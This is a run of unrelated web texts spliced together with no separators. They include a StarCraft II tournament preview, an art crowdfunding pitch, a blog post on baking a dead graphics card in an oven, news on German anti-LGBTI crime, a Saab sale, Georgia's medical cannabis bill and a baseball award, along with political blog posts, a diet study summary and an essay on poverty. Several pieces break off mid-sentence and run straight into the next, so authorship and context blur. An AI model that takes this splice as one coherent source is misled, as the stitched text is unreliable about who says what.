BabyKnight, PvZ is his most vulnerable match-up. You can bet that Dane would have enjoyed the match-up against MC that awaited his countryman, Ciara in TSL3. BabyKnight's blink PvP, with its never ending harassment is one of the finest things we saw in the qualifiers. But in PvZ, BabyKnight hasn't had as much success with his desire to harass and micro against overwhelming odds. He's favored gateway heavy timings and storm/blink play in the past, and the key in this series will be making sure his army doesn't die as he's pushing in the mid-game.Meanwhile, VortiX has usually been known as LucifroN's brother. () But at this point, it's well past time we started referring to VortiX as his own person. In fact, it might not be so long until we refer to LucifroN as VortiX's brother. The Spaniard has, like his opponent, gone from being unknown internationally, to being one of the most feared up and comers in the foreign scene. His TLOpen win, 3-0 over Golden and his all-kill of Empire in the IPL TAC3 shortly thereafter made up one of the more impressive weeks we've seen recently. But just from a sentimental perspective, VortiX is exactly the kind of player on paper — actually, BK too — that everyone is looking for when they talk about the TSL and the 'next ThorZaIN'. Not well known outside of Spain before this tournament, he could use TSL4 to prove that he's ready for the world stage.VortiX's ZvP is his strongest match-up statistically, and his 3-5 loss to Squirtle in the IPL Fight Club shows his abilities. His style has traditionally been heavy lair with very frequent mutalisk play, or else roach ling multi-pronged aggression. It's fast and mechanically demanding to execute and to defend. The key with VortiX and BabyKnight will be how the Protoss will deal with the Zerg aggression. Whether BK's micro and multi-task on defense will be enough to bring him to the late game and whether VortiX can keep BabyKnight's deadly timed attacks from killing him, to even allow the midgame to develop in the first place. It'll be a fascinating back and forth to watch.I love both of these players, and both have bright futures. Unfortunately, only one can advance, and VortiX has the edge here in playing his top match-up.No seeding system is perfect, and we kick off the first round of TSL4 with a blockbuster foreigner vs. Korean that one would normally expect to see far deeper in the tournament. In one corner we have Ret, a player who has long been considered to be among the best non-Korean players in the world, but has rarely-if-ever been in the running to be THE best. Squirtle has recently entered a similar situation on his side of the pond. His run from the open bracket to the silver medal at IPL4, alongside a near perfect GSL Season Two run before falling to Mvp in the finals, have confirmed him as a top Protoss player in most eyes. But without an actual championship, it has been hard for him to be mentioned in the same breath as names such as MarineKing, DongRaeGu, or MC. For Ret and Squirtle, every tournament is an opportunity to try and prove that there are none others above them.Ret and Squirtle met once before at the Red Bull Battlegrounds in Austin. It was only a short, three game series, but it was a microcosm of each players' strengths and weaknesses in the Zerg vs Protoss match-up. Squirtle lived up to his reputation as a near textbook tournament player, mixing up semi all-in play and macro builds to stay unpredictable. In turn, Ret showed that he could play the lair phase as well as any Korean, never looking behind until the game entered the hive phase. There, his most notable weaknesses came to light, as his mismanagement of brood lord armies combined with his mortal enemy, the warp-prism, cost him the series.Though some time has passed since that series, it doesn't seem like any player has significantly changed his game. In the most recent tournaments of note, Squirtle continued to look slightly featureless, but still very solid and strong in a very textbook way in the GSL, while Ret continued to stomp out two base all-ins and lose his greater spire to warp-ins at NASL.This is a match-up where Ret will play his reactionary Zerg style, while it will be up to Squirtle to shape the series with his choice of strategies. Squirtle's dogged adherence to variety for its own sake might hurt him could hurt him here, as one of Ret's greatest strengths is his ability to deflect all but the most well-executed all-ins. Instead of risking defeat like Puzzle, who lost all three of his NASL games to Ret after a failed two base attack, the best approach for Squirtle would be to play long games where both players get high tech units.Signed 8x10" and 18x24" giclee prints for $50 and 150$ rewards. Printed on the finest German Hahnemühle etching paper by a master Polish printer. Artist seal hand applied. I am funding to cover the gallery an installation costs of displaying work produced during the conceptual art project, 'A Mark for Peace'. That project was successfully funded and staged 14th Dec 2013 - 10th Aug 2014. I want to show the work and promote further productions. How many times have you read about a region in conflict? Don’t you lose hope when you see the news? 'A Mark for Peace' is about making real connections, it is about taking a stand. Me live on stage with 'A Mark for Peace' artist Isabel Sanchez. "It is not me making the drawings, it's you Isabel." Here she interpreted mythology I collected studying in the Middle East Successfully completing the 'A Mark fo Peace' conceptual art project has given me strong indicators that young artists from supposedly hostile countries want to work together on projects like A Mark for Peace: These includes people I met in the Middle East from Iran, Syria, Palestine, Israel, Egypt. First professional male ballet dancer from Palestine, Ayman Safiah Ayman Safiah has been cited by the BBC as the worlds first professional trained Palestinian male ballet dance, is breaking tradition and stereotypes. Nov 28th 2014, he has agreed to model for a series of drawings while we discuss possibilities for the next performance of 'A Mark for Peace'. The first project funded successfully in Warsaw Poland, December 2013, was carried out in the Middle East then completed live on stage in London on Aug 10th 2014. The project required: Cultural exchange and education while visiting a region in conflict An understanding of underlying mythologies Interpretation through music and staged dance The joyful creation of drawings! Isabel Sanchez and Javier Montero Latorre perform during 'A Mark for Peace' After the UK performance, an act beyond my wildest dreams was born. We combined live drawing, physical theater and non-political vignettes and will exhibit the drawings to promote 'A Mark for Peace' for further performances. $500 Reward - Mark for Peace Performance Images Please, if you like this work, help us fund the gallery and installation. If you are inspired in other ways to participate, either an artist or underwriter for future performances, we want to hear from you. We believe this idea will be reproduced, providing constructive activities and hope where immense challenges exists. Visit to Israel and Palestine Winter 2013 after successfully funding 'A Mark for Peace' Although you can barely see the woman in the photo above, she has agreed to participate in the project. Why? Because she likes to draw and never considered such an activity apllied to social change.“BRB, preheating oven.” Thus were my words to Icrontic’s staff on Monday night. I had only been home from work for an hour and was planning on running some PhysX tests with my NVIDIA GeForce 8800 GTX. I currently main a Radeon HD 5770 because DirectX 11 is teh pwnage, but I keep my trusty 8800 GTX on standby as it still packs a punch, and it’s hip to the PhysX jive. I swap GPUs as necessary, depending on what I want to do. Icrontic Gaming writer Chris White predicted that my card-swapping antics would eventually lead to failure. Unfortunately for me, Chris predicted the fate of my GPU, which happened only three hours later. After installing my 8800 GTX on Monday night, I booted to a scrambled screen, then to a Windows 7 recovery screen. A similar thing had happened at our Oktoberfest event when I was swapping back from some Radeon HD 5870 testing, but a reboot fixed the issue and I paid it no mind. Like last time, a reboot seemed to fix the issue and I set about my business as usual. Suddenly, after about 15 minutes of use, the screen scrambled into all-too-familiar colored blocks and lines. The GPU was fried. I performed a host of tests with no luck–my 8800 had seen its last polygon. Devastated and heartbroken (we geeks become attached to our hardware), I entered the staff chat to find comfort in friends. Upon explaining what had happened, Icrontic Tech writer Robert Hallock spoke first. “Bake it in the oven,” he said to me. What in the world was he talking about? “Bake the card in the oven,” he restated. “…does that actually work?” I inquired. “I wouldn’t be suggesting it if it didn’t,” he replied. And with that, I was preheating the oven to 385°F. It’s a piece of cake to bake a pretty… GPU I have to admit, I was completely skeptical of this technique. I had lost video cards in the past (alas, poor Radeon 9700 Pro! I knew him, Icrontic!) and it was always an exercise in “trash n’ buy.” You don’t recover from a failure like this. But the Internets told stories of intrepid young gamers giving their dead GPUs to the inferno of an oven, and receiving working cards in return–literally baking a dead GPU like it was a potato. What could possibly go wrong? I had nothing to lose. I was ready to IDDQD my 8800 GTX, or die trying (in the ensuing fire that one must assume can only be produced by tossing an expensive piece of electronics into a receptacle reserved for making green bean casserole). The preparation was rather simple: Get that oven preheated to 385. Wait a minute! Let’s get serious for a moment and talk about this concept, and why it is not completely insane. A video card’s many chips–especially the GPU–depend on each and every solder contact being 100% healthy. Unfortunately for video cards, they are regularly subjected to dramatic temperature changes that cause their PCBs to undergo thermal expansion and contraction, a process that can ultimately warp the board and cause hairline fractures in the contacts. By baking the card at 385°F, you’re exposing the card to a constant and evenly-distributed amount of heat. It is just enough heat to soften up the solder (a process called “reflowing”) which, after setting, should reconnect every component and cause the card to function properly again… But it’s still an absurd thing to see and do. And now back to baking… To prepare the GPU, the large cooling assembly must be removed before baking. It’s a simple process with the 8800 GTX: There are a few silver screws on the bottom of the board, and two black screws on the end near the DVI ports. Once these are removed, the heatsink can be carefully worked away from the GPU and memory modules. A quick disconnect of the power cable for the fan, and you have yourself a nekkid 8800 GTX. As a final step, you’ll want to clean off any remaining thermal compound on the GPU itself; this is best achieved with Q-tips and isopropyl alcohol. Next, rummage up baking pan. I layered mine with a clean sheet of aluminum foil just to ensure that no residue from cookies, potatoes, chicken nuggets, or Lord knows what else could possibly come into contact with my GPU. Following that, roll up four small balls of aluminum foil–one for each corner–and set the GPU on top. Make sure the video card’s GPU is facing upwards! Now it’s time to get your bake on, soldier! Place the GPU cake into the oven on the center rack, close it up, and set a timer for 10 minutes. I have to say, this step was one of the most difficult and awkward things I have ever done. Placing a near and dear piece of hardware that once cost me $550 into a frigging oven just feels wrong. Like playing Half-Life on the Xbox wrong. Like editing in Windows Movie Maker wrong. Like bringing Natty Boh (Ed: Lonestar?) to a party wrong. After ten painstaking minutes elapse, remove the GPU from the oven (careful: contents are hot). Set the GPU cake on the counter and let it cool over night. In the interim, you’ll notice a very interesting new smell filling your kitchen. No worries though, as the 8800 GTX is RoHS compliant! Feel free to safely enjoy the savory scents of a baked GPU! I left a note for my relatives to not touch my cake in the morning. At the bottom, in small lettering, it read: “Also yes, I did, in fact, bake my graphics card in our oven last night. Fear not, it is for SCIENCE!” Serve with icecream The following morning was the moment of truth. I brought the GPU back into my computer room to frost the cake with Arctic Silver; once the icing was on, I re-mounted the cooling assembly and secured the screws. It was now time to install the baked 8800 GTX and see if the cake was a lie (I am so, so sorry). I installed the card, connected the PCIe connectors, turned on the PSU, and–after taking a deep breath and saying a prayer–pushed butan. The blower on the 8800 GTX spun to life, the motherboard yelped its POST, and like the phoenix rising from the ashes, my HP w2207 displayed the boot sequence. I had successfully resurrected my dead GeForce 8800 GTX by baking it in an oven. I write this piece on a display powered by that very 8800 GTX and I have had no problems in the last 24 hours of operation. I’ve gamed, browsed, rendered, and relaxed, and the card is completely stable. My mind is blown. I would have never expected this to work. My 8800 GTX may now be a zombie, but it’s a happy zombie, and that makes me a happy Dr. Frankenstein. Disclaimer: Engaging in a bake-off with computer components can be dangerous, can destroy your hardware, and will certainly void any and all warranties. Attempt at your own risk.German parliament, the Bundestag, may have passed a bill to allow gay marriage in June, but that doesn't mean that homosexuals are automatically accepted in all parts of German society. Information revealed Wednesday by the German Interior Ministry shows that the number of crimes committed against homosexuals and bisexuals has in fact risen significantly in 2017. In the first half of this year, from January 1 to July 28, there were 130 hate crimes reported connected with the victim's sexual orientation. Over the same period in 2016, 102 crimes of the same nature were reported. That represents an increase of roughly 27 percent. When parliamentarians finally approved gay marriage, homosexual couples celebrated across Germany The ministry released the numbers in reply to an inquiry by Green party MP Volker Beck. The long-serving parliamentarian is a gay rights advocate who had pushed the Bundestag to pass gay marriage for a long time. The rise in homophobic crime shows that the fact the law had finally passed, did not mean the job had been done, according to Beck. "We have equal rights now, but we can only live our lives freely if we don't have to be afraid of violence and discrimination anymore," he said in a press statement. "Homophobia and transphobia are problems that need to be addressed." Hate crimes under the subcategory "sexual orientation" are defined by the Interior Ministry as "all criminal acts motivated against LGBTI (lesbians, gays, bisexuals, trans- and intersexuals)." Of the 130 crimes reported in the first six months of this year, the three biggest categories were assault (29 cases), acts of sedition (25) and coercion or harassment (7). Read more: How welcome are LGBTI refugees in Berlin? Those numbers, however, are only the tip of the iceberg. "If we assume that 80 percent of [homophobic] cases are not reported, then there are actually more than 1,000 cases in this time frame," Markus Ulrich, spokesman for the Lesbian and Gay Federation in Germany (LSVD), told DW. "That would amount to around six cases a day." Other experts estimate the number of unreported cases to be even higher. But it is important to consider that the increase in reported crimes could at least partly stem from the fact that more and more people actually take the step of reporting what happened to them to the police. In turn, authorities increasingly recognize that a victim was targeted because of his or her sexual orientation. Fighting prejudice No matter what the reason for the rise in reported crimes is, the total number is too high, Ulrich says. The LSVD states that there are several ways to combat homophobia, transphobia and other prejudices that lead to crimes against their community. Read more: SPD drag queen apologizes for racist remarks Prevention is better than a cure when it comes to battling hate and prejudice. That's why Ulrich includes educational programs in schools among the measures to tackle anti-homosexual sentiment and violence: "If we can bring down prejudice among the population this way, we'll also bring down the number of crimes." Ulrich says Homophobia and transphobia must be taken into account as a motive In the 1950s and 60s, when homosexuality was still illegal in Germany, a gay couple who had been attacked would have never gone to the police. Many would not even dare tell friends they were gay and hid their sexuality in public. Admitting it to the police was out of the question. That's why it is crucial to build a relationship of trust between the police and the LGBTI community, Ulrich says. Otherwise, those who experience threats, violence or discrimination will not turn to the police for help, maintaining a high number of unreported cases. Police need better training Currently, there's little sensitivity about the topic among police officers, Ulrich says. They need to become better at recognizing homophobia or transphobia as a motive. The LSVD complains that a victim's sexual orientation is too often not taken seriously as an explanation for being attacked. "They need to know that they can go to the police and not be treated disrespectfully," Ulrich emphasized. "This is especially important for older gays or lesbians, who might have had bad experiences dealing with police in the past." The hope is that with a better-trained police force, more perpetrators of homophobic crimes can be caught. After all, their hate and violence doesn't only hurt the people whom they attack or harass. "The attackers' intentions are to send a signal to the whole community," Ulrich said. "They want to push lesbians and gays back into the closet.""Swedish Automobile N.V. (Swan) announces that it entered into a memorandum of understanding with Pang Da and Youngman for the sale and purchase of 100% of the shares of Saab Automobile AB (Saab Automobile) and Saab Great Britain Ltd. (Saab GB) for a consideration of 100 million euros", the company said in a statement. After the announcement, the office of Saab's court-appointed administrator, Guy Lofalk, withdrew a petition to abandon the reorganisation of the beleaguered Swedish carmaker, a step taken last week when talks with the Chinese partners to obtain €245 million ($335 million) in funding in exchange for about half the company appeared to have collapsed. News of the deal entails major changes in the conditions governing Saab's reorganization, according to Lofalk. “In light of the large number of jobs and their meaning for the region, as well as the large loss of value that a bankruptcy would entail, it's my assessment that these new conditions must be reviewed before a decision can be made about whether the reorganization should be halted,” wrote Lofalk in his petition. The Vänersborg District Court in southwestern Sweden was expected to decide Friday whether to grant the petition. The demand to end the reorganization of Saab came after its Dutch parent company Swan said the Chinese companies had failed to honour a partnership deal and provide €70 million in bridge financing while Saab underwent the restructuring process. Swedish daily Svenska Dagbladet (SvD) reported earlier in the week that Pang Da and Youngman had instead offered a mere 200 million kronor ($30.4 million) to buy all of Saab. After setting a price tag nearly five times higher, Saab's charismatic chief executive Victor Muller told the TT news agency Friday he was "thrilled." "Now the company's future is really secured. The future looks very bright now," he said "We have the deepest pockets onboard now ensuring that the company will blossom, so I'm thrilled," he added. Swan said Friday its memorandum of understanding with the two Chinese firms was now "valid until November 15 of this year, provided Saab Automobile stays in reorganisation." The Chinese companies will dish out the €100 million payment in installments, Swan said in its statement, adding that "an important consideration (for entering) into the transaction is the commitment of Pang Da and Youngman to provide long term funding to Saab Automobile." With the deal, Saab will follow in the footsteps of Sweden's other large carmaker Volvo, which was bought by a Chinese company, Geely, in August 2010, for $1.5 billion. Muller, whose company Swan -- at the time called Spyker -- bought Saab from US giant General Motors early last year for $400 million, also then rescuing it from the brink of bankruptcy, said Friday he thought the price was right. “It's right if you consider the company's current situation and the fact that it has not produced cars for six months," he told TT. Production at Saab's Trollhättan factory in southwestern Sweden has been halted almost continuously since April as suppliers stopped deliveries over mountains of unpaid bills, while the company's some 3,700 employees have seen their salary payments significantly delayed for four straight months. Following Friday's news, Swedish Automobile saw its share price soar more than
I’ll definitely try for more before settling for that. My eBay pricing strategy is “start high, move low.” #6. DSM II The DSM II, the diagnostic manual of the American Psychiatric Association, is notable for being the last edition to include homosexuality as a mental disorder. It’s an interesting piece of history, and apparently difficult to find; my copy, far from being in pristine condition sold for a very pleasant amount. Status: Sold for 280$. #5. 1951 Centennial Model Singer 221-1 “Featherweight” Sewing Machine This sewing machine is apparently very desirable to quilters due to its light weight. It came in its original case with a bunch of accessories, and made me nearly a whole month’s rent. I ended up selling it locally to a fashion design student. It’s nice to know it’ll be put to good use. Found this May in Cote-Des-Neiges. Status: Sold for 450$. #4. 18k gold Patek Philippe watch buckle It’s a bit funny to have a watch buckle as my forth best find of the year. However, this buckle was 18 karat gold and made by Patek Philippe, a prestigious watch maker whose work often sells for tens of thousands, and sometimes hundreds of thousands of dollars. Some watch collector was likely very happy to get their hands on this buckle, which would have helped to (genuinely) complete their vintage gold watch. Found this March in Hampstead. Status: Sold for 650$. #3. Modernist / brutalist jewelry collection This was hands down my best jewelry haul of the year, featuring several great modernist and brutalist pieces from the 1960s. There were three works by Guy Vidal, a renown Montreal based designer, a five piece sterling silver set by Arne Johansen, and a few other unsigned but beautiful pieces. This collection taught me a lot about this era of design, and also made me a load of cash. Most was found this March in NDG, though the Johansen set was completed a few weeks later. Status: Guy Vidal pieces sold for 375$ (bracelet 185$, earrings 100$, other earrings 90$). Arne Johansen set listed for 675 US$. Others listed on Etsy (one, two). #2. Art deco era Asprey mail order catalogue This gorgeous catalogue, which was published sometime in the 1930s provides great insight into the aesthetics of art deco design. The catalogue was made by Asprey, a prestigious UK-based designer, manufacturer and retailer of luxury goods. Their flagship store is on New Bond Street in London, one of the most expensive retail strips in the world. The book is in excellent, nearly mint condition. Many things associated with prestige and luxury have value, and this book is no exception. Though it seems to be quite rare, I was able to find a couple other books like it for sale online: one (in inferior condition to mine) is going for 992 US$ while another is listed at 4000$, albeit with a “best offer” option. Items like this often take a long time to sell, but I expect this book to eventually bring me a nice hunk of cash. Found this May in the recycling bin of a Golden Square Mile apartment building. To see full-sized versions of the pictures below, click on the image and scroll the the bottom right side of the page, and then click on “view full size.” Status: Listed on eBay for 1100 US$ (approximately 1525 CAD$). #1. Huge collection of Expo 67 ephemera: photos, ephemera, and a rare Hostesses’ Handbook Like I mentioned earlier, it was difficult choosing a top find this year. There was no clear front-runner. Each of the top three are of roughly equal monetary value, and each has significant historical value. However, I ultimately decided to go with something with a little more local flavor. Besides, of all the three these photos received the most attention. I’ve been in touch with two different local archives, both of which are preparing for 2017 – the 50th anniversary of Expo 67. Both have interest in adding these items to their collection. The photos are mostly architectural models of the various pavilions, some of which never actually came into existence. There are also aerial shots of the grounds, photos of a few different hostess uniforms, and a rare shot of Montreal Canadiens great Elmer Lach. Many of these photos come with a type-written description. Otherwise, there were various pamphlets, press releases in a few different languages, and a very hard to come by Hostesses’ Handbook. Overall, it’s a fantastic collection featuring many rare, historically valuable items. Now I have to figure out what to do with it. One of the archives can only offer a tax receipt, though given my increased income that might actually come to use – I’ll likely have to pay taxes for the first time this year. The other archive has made a solid monetary offer. However, I can’t help but wonder how much I could sell these for on the private market. I would love for them to go to an archive, but I still have a lot of student debt to pay off thanks to my (somewhat naive) investment in a mostly useless Sociology degree. It’s impossible not to think about what the maximum payout might be, and impossible to find out without listing it for premium amount. I’ll figure out what to do in the new year, but I’m confident I’ll get at least a decent payday one way or the other. Found this October in a TMR recycling bin. Check the link if you want to see more of this collection! Status: Pending. Estimated value: To be determined. What’s next in 2016 The same thing, most likely! I hope to make a bit more money next year, and I figure 24k (or 2 grand a month) is a challenging but attainable goal. In 2016 I plan to stay on top of my work like I’ve done the last few months, get to finishing some of my dustier, long delayed projects like scanning that Expo key map, and schedule a healthy dose of relaxation and down time. I’m also looking to increase my blog subscribers, so if you know anyone who might be interested in seeing what I find in the garbage, send them this way! Thank you so much to all of you for your support in 2015. All the best in the new year!DALTON, GA (WRCB ) - The Georgia legislature is considering a bill to legalize the use of medical cannabis. It's getting a lot of attention because it comes from the same plant as marijuana. It passed unanimously in the committee vote this week. and now heads to the House floor Monday. Some North Georgia parents are trying to rally support and contact lawmakers to vote in favor of a bill that would legalize the use of medical cannabis. It's sometimes referred to as medical marijuana, but it's actually an oil from the cannabis plant that treats seizure disorders. These parents say passing this bill could save their kids lives. "The thought that I could actually meet my daughter for the first time without seizures and without medication is overwhelming," Dalton mom Sheli Gilley said. Dalton mom Sheli Gilley has contacted Georgia lawmakers hoping her daughter's story will persuade them to vote for the medical cannabis bill. "We're just helpless, and it doesn't seem fair that we don't live in the right state," she said. 7-year-old Zoe suffers from multiple seizures every day. She can't talk and has tried 25 different medications, but still no improvement. Sheli has talked with the parents of kids like Zoe, who moved to Colorado for cannabis treatment and saw instant results. She and Zoe's doctors have hope it will help her, too, if Georgia will legalize it. "These children are running out of options. They have nothing left and if they don't get this medicine, some of them will die," Sheli said. Some legislators tried pushing for a year long study first to examine side effects and distribution methods, but it passed the committee vote unanimously anyway. Doctors would manage treatments at academic medical centers. "We're not looking for legislation for recreational use. That is the last thing on our mind and that won't happen in this legislature I can promise you that," bill sponsor Rep. Allen Peake (R) said, "it's not a four year old smoking a joint. It's not smokable form." But Chatsworth mom Sarah Callaway worries the association between cannabis and marijuana is enough to keep it from passing. Her seven-month-old daughter Greylynn suffers from seizures called "infantile spasms." On an average day she has around six clusters of 20 to 50 spasms. "It's an awful feeling to know there's nothing you can do. I mean, I hold her and tell her it's going to be ok, we're going to get through this together," Callaway said. She's shared her story of ineffective medicines with lawmakers, too. "She deserves to be able to play and to be a part of this life, not just under medication 24/7 or tired from her seizures she has all day," Callaway said. If the bill doesn't pass, Callaway and Gilley say they'll be forced to consider leaving their families behind and moving to Colorado. The Medical Association of Georgia and Georgia Sheriff's Association also support of the bill. Twenty other states have legalized medical cannabis, and 13 states have pending legislation. Read the full text of Georgia's medical cannabis bill here:CHICAGO -- Free agent Mark Buehrle might not have a contract yet, but he does have his third consecutive Gold Glove Award. Buehrle made just one error in 2011 and picked off six runners while winning the top defensive award at his position in the American League. A.J. Pierzynski was a finalist for the Gold Glove at catcher, but that went to the Baltimore Orioles' Matt Wieters instead. The awards were announced on ESPN2 on Tuesday night, the first time Gold Gloves have been named on television. Buehrle became the first White Sox player to win a Gold Glove in three consecutive seasons since Robin Ventura did it at third base from 1991-93. Ventura was named White Sox manager last month. Buehrle, 32, also becomes the first White Sox pitcher to win three consecutive Gold Gloves. Since 2001, Buehrle leads all pitchers in pickoffs with 85. The second most pickoffs over that stretch are Andy Pettitte's 50. Buehrle also won the 2011 Fielding Bible Award for the third consecutive season. That honor is voted on by a 10-man expert panel. Exclusive free-agent negotiations between the White Sox and Buehrle continue through Wednesday. After that exclusive window expires, all other teams will be allowed to negotiate with other teams' free agents. The White Sox are expected to let other teams set the market for Buehrle before they decide if his price tag fits into the club's budget. Doug Padilla covers the White Sox for ESPNChicago.com.From the beginning, the McCain campaign has been high drama. Internal fights, new campaign managers, bickering — it all spilled into the media. The trouble starts at the top, of course. McCain is an erratic manager. However, when “McCain campaign officials” start spilling to the press with just 25 days to go til the election, it’s not about strategy, it’s about cover. (Yeah, CYA.) We’ll start to see more of these “off-the-record” comments as top GOP operatives try to distance themselves from the impending disaster: Top McCain campaign officials are grappling with how far to go with negative attacks on Sen. Barack Obama in the final weeks of what is turning into a come-from-behind effort. Sen. John McCain has allowed a series of increasingly harsh broadsides in new campaign ads and in speeches by his wife, Cindy, and his running mate, Gov. Sarah Palin. But the Arizona Republican has rejected pleas from some advisers to launch attacks focusing on Sen. Obama’s former pastor, the Rev. Jeremiah Wright. Some McCain campaign officials are becoming concerned about the hostility that attacks against Sen. Obama are whipping up among Republican supporters. During an internal conference call Thursday, campaign officials discussed how the tenor of the crowds has turned on the media and on Sen. Obama. Those “McCain campaign officials” are really more concerned about their careers and reputations at this point. Let them spill the dirty laundry. The more time they spending covering their butts, the less time they’ll have to work on getting out the GOP vote. Republican campaigns up and down the ticket are having the same kind of internal battles. They’re fighting within the McCain campaign. Republican candidates are fighting the McCain campaign. It’s all beautifully self-destructive.Assemblyman Phil Steck, right foreground, meets with constituents in his Schenectady office on Saturday, Jan. 7, 2017. (Rick Karlin/Times Union) Assemblyman Phil Steck, right foreground, meets with constituents in his Schenectady office on Saturday, Jan. 7, 2017. (Rick Karlin/Times Union) Photo: Karlin, Rick Photo: Karlin, Rick Image 1 of / 1 Caption Close Steck: Single payer state health plan could offset Obamacare cuts 1 / 1 Back to Gallery Schenectady Going to a statewide single-payer health insurance program could offset the financial hit facing New York state if Congress does away with the Affordable Care Act, also known as Obamacare, Assemblyman Phil Steck said during a town hall-type meeting on Saturday. Steck, a Democrat whose 110th district includes Colonie and Schenectady, compared his vision of a statewide system to Medicare. "The most efficient health provider in the U.S. is Medicare,'' he said, citing the low overhead and administrative costs with that national plan for those 65 and older. His remarks came during a wide-ranging open house during which several dozen constituents, braving an 18-degree morning, crammed into his small Schenectady office. Questions from attendees ranged from whether upstate will get ride-hailing services like Uber, to immigration and jobs. But much of the talk got back to what impact the incoming administration of President-elect Donald Trump, along with an all-Republican Congress, will have on New Yorkers. That's been a hot topic for a while, with Gov. Andrew Cuomo earlier in the week predicting an ACA repeal would cost the state $3.7 billion and cause 2.7 million people to lose their health care coverage. By creating a statewide Medicare-like system, Steck said, people would pay a payroll tax but they would avoid health insurance premiums. Others, including Assembly Health Committee Chairman Richard Gottfried, have called for such a program, but getting a majority of lawmakers to support it would be a challenge. And conservative critics have argued that such a plan could lead to cost increases due a lack of market competition and the fact that government would be operating the health insurance market. Steck said he has already delved into the insurance issue in the Legislature, trying, unsuccessfully so far, to promote a bill that would let municipalities join county health insurance plans for their public employees. He noted the state's health insurance coverage pales in comparison to some other public sector programs such as Albany County. Steck was a county legislator before he became an assemblyman. "When I was in that plan it was great,'' he said of the county's health coverage. He added that he's now on his wife's teachers' coverage, which also is better than the state plan. Steck made it clear that he takes a progressive stand toward many issues. When a small business owner said the state's mandated increase in a minimum wage could hurt her operation, he said the higher pay should help the overall economy by giving people more spendable income. When another constituent expressed worry about undocumented immigrants, he said he believed most come here to take low-paying jobs that nobody else wants and that businesses are often complicit in keeping that system going. On a more local level, Steck took aim at the defeated construction bond issue put up by the North Colonie school system in December, echoing criticisms that the polling location was limited to one spot. Read Full ArticleAll of the diets were designed to be low in saturated fat and cholesterol, high in fiber, include low-glycemic carbohydrates, and reduce intake by 750 calories per day. Each participant was offered both group and individual counseling over the two years of the study. After six months, the people in the study had lost more than nine pounds of total body fat and five pounds of lean body mass on average, but after two years had regained some of this. Comparing all four of the diet groups, there was no difference in fat loss or muscle loss. Neither did the proportion of carbohydrate, fat, or protein affect the amount of abdominal, visceral, or liver fat lost. People were able to maintain a weight loss of nearly nine pounds at the two-year mark, including a nearly three-pound loss of abdominal fat. According to Dr. George Bray, a researcher who worked on the study, the major predictor for weight loss was adherence. The people who adhered to their assigned diet lost more weight than those who did not. Adherence was a problem in this study. Many of the study participants did not complete the study, and the diets of those who did stick with it weren't exactly what they were supposed to be. Researchers hoped to see two of the diet groups adhere to the average-protein diet (15 percent) and the other two groups stick with the high-protein diet (25 percent). However, all four groups ate about 20 percent of their calories from protein over the two years of the study. The take home message from this study is that any "diet" can work if total calories are consistently reduced. People will be more successful at losing weight if they choose a healthy diet plan that is easy for them to adhere to for the long haul, and they stick with it. A breakdown of the meal plans used for the four diets in this study can be located here. The study was published online January 18, 2012, in the American Journal of Clinical Nutrition. Image: italianestro/Shutterstock. This article originally appeared on TheDoctorWillSeeYouNow.com, an Atlantic partner site. We want to hear what you think about this article. Submit a letter to the editor or write to letters@theatlantic.com.It's been exactly 50 years since Americans, or at least the non-poor among them, "discovered" poverty, thanks to Michael Harrington's engaging book The Other America. If this discovery now seems a little overstated, like Columbus's "discovery" of America, it was because the poor, according to Harrington, were so "hidden" and "invisible" that it took a crusading leftwing journalist to ferret them out. Harrington's book jolted a nation that then prided itself on its classlessness and even fretted about the spirit-sapping effects of "too much affluence". He estimated that one quarter of the population lived in poverty – inner-city blacks, Appalachian whites, farm workers, and elderly Americans among them. We could no longer boast, as President Nixon had done in his "kitchen debate" with Soviet Premier Nikita Khrushchev in Moscow just three years earlier, about the splendors of American capitalism. At the same time that it delivered its gut punch, The Other America also offered a view of poverty that seemed designed to comfort the already comfortable. The poor were different from the rest of us, it argued, radically different, and not just in the sense that they were deprived, disadvantaged, poorly housed, or poorly fed. They felt different, too, thought differently, and pursued lifestyles characterized by shortsightedness and intemperance. As Harrington wrote: "There is … a language of the poor, a psychology of the poor, a worldview of the poor. To be impoverished is to be an internal alien, to grow up in a culture that is radically different from the one that dominates the society." Harrington did such a good job of making the poor seem "other" that when I read his book in 1963, I did not recognize my own forbears and extended family in it. All right, some of them did lead disorderly lives by middle-class standards, involving drinking, brawling, and out-of-wedlock babies. But they were also hardworking and, in some cases, fiercely ambitious – qualities that Harrington seemed to reserve for the economically privileged. According to him, what distinguished the poor was their unique "culture of poverty", a concept he borrowed from anthropologist Oscar Lewis, who had derived it from his study of Mexican slum-dwellers. The culture of poverty gave The Other America a trendy academic twist, but it also gave the book a conflicted double message: "we" – the always presumptively affluent readers – needed to find some way to help the poor, but we also needed to understand that there was something wrong with them, something that could not be cured by a straightforward redistribution of wealth. Think of the earnest liberal who encounters a panhandler, is moved to pity by the man's obvious destitution, but refrains from offering a quarter – since the hobo might, after all, spend the money on booze. In his defense, Harrington did not mean that poverty was caused by what he called the "twisted" proclivities of the poor. But he certainly opened the floodgates to that interpretation. In 1965, Daniel Patrick Moynihan – a sometime liberal and one of Harrington's drinking companions at the famed White Horse Tavern in Greenwich Village – blamed inner-city poverty on what he saw as the shaky structure of the "Negro family", clearing the way for decades of victim-blaming. A few years after the Moynihan Report, Harvard urbanologist Edward C Banfield, who was to go on to serve as an advisor to Ronald Reagan, felt free to claim that: "The lower-class individual lives from moment to moment … Impulse governs his behavior … He is therefore radically improvident: whatever he cannot consume immediately he considers valueless … [He] has a feeble, attenuated sense of self." In the "hardest cases", Banfield opined, the poor might need to be cared for in "semi-institutions … and to accept a certain amount of surveillance and supervision from a semi-social-worker-semi-policeman." By the Reagan era, the "culture of poverty" had become a cornerstone of conservative ideology: poverty was caused, not by low wages or a lack of jobs, but by bad attitudes and faulty lifestyles. The poor were dissolute, promiscuous, prone to addiction and crime, unable to "defer gratification", or possibly even set an alarm clock. The last thing they could be trusted with was money. In fact, Charles Murray argued, in his 1984 book Losing Ground, any attempt to help the poor with their material circumstances would only have the unexpected consequence of deepening their depravity. So it was in a spirit of righteousness and even compassion that Democrats and Republicans joined together to reconfigure social programs to cure, not poverty, but the "culture of poverty". In 1996, the Clinton administration enacted the "One Strike" rule banning anyone who committed a felony from public housing. A few months later, welfare was replaced by Temporary Assistance to Needy Families (TANF), which in its current form makes cash assistance available only to those who have jobs or are able to participate in government-imposed "workfare". In a further nod to "culture of poverty" theory, the original welfare reform bill appropriated $250m over five years for "chastity training" for poor single mothers. (This bill, it should be pointed out, was signed by Bill Clinton.) Even today, more than a decade later and four years into a severe economic downturn, as people 